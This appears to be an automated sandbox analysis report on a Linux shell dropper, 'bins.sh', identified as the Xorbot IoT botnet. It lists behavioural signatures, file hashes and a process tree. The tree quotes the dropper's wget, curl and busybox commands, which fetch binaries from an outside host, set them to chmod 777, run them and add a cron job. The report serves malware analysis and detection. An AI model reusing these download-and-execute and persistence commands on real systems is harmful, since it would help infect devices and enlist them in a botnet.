Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/02/2025, 11:43

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250227-nvmb8swtav
  • SHA256 c87e1da6208974643e90182d3569a11d52000e4e09f6e132db4b28a55922b9c3
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1516) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:647
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:649
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:654
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:676
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:678
      • /bin/chmod
        chmod 777 bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
        • File and Directory Permissions Modification
        PID:679
      • /tmp/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        ./bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
          PID:680
        • /bin/rm
          rm bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
          2⤵
            PID:682
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:684
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
            2⤵
            • Checks CPU configuration
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:690
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
            2⤵
            • System Network Configuration Discovery
            PID:726
          • /bin/chmod
            chmod 777 8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
            2⤵
            • File and Directory Permissions Modification
            PID:764
          • /tmp/8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
            ./8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
            2⤵
              PID:765
            • /bin/rm
              rm 8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
              2⤵
                PID:767
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:768
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                2⤵
                • Checks CPU configuration
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:769
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                2⤵
                • System Network Configuration Discovery
                PID:771
              • /bin/chmod
                chmod 777 rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                2⤵
                • File and Directory Permissions Modification
                PID:772
              • /tmp/rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                ./rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                2⤵
                • Renames itself
                • Reads runtime system information
                PID:773
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:775
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:776
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:777
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:778
                  • /bin/rm
                    rm rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                    2⤵
                      PID:780
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/5awEmFos1V9SuwbPBA1cok4hjviecT7j29
                      2⤵
                      • System Network Configuration Discovery
                      PID:783

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
                        • Path /tmp/8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
                        • Size 98KB
                        • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
                        • Path /tmp/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
                        • Size 112KB
                        • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                        • Path /tmp/rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                        • Size 127KB
                        • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.Hzg61O
                        • Path /var/spool/cron/crontabs/tmp.Hzg61O
                        • Size 210B
                        • SHA256 5152376d80891d1da80ee240a536b4c1ab3c62d35a5f620cb9918b7f1c9c9ba8
                        • MD5 SHA1 SHA512
                        Submit Download